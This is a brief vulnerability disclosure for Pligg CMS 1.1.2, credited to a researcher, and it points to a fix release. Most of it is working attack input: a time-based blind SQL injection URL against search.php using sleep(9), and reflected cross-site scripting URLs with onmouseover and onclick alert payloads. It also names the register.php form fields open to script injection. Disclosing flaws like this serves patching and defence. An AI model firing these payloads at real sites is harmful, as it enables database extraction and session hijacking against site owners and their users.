Credit: Michael Brooks
Bug Fix in 1.1.2:
http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/

Special thanks to Eric Heikkinen for patching these quickly.

Blind SQL Injection
http://host/pligg_1.1.2/search.php?adv=1&status=
'and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search
+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0

XSS:
http://host/pligg_1.1.2/?xss='onmouseover=alert(1);//
http://host/pligg_1.1.2/?search=" onclick=alert(1) a=


The "onclick" event can be used as reflective xss on /register.php using the following post variables:
reg_username
reg_email
reg_password
reg_password2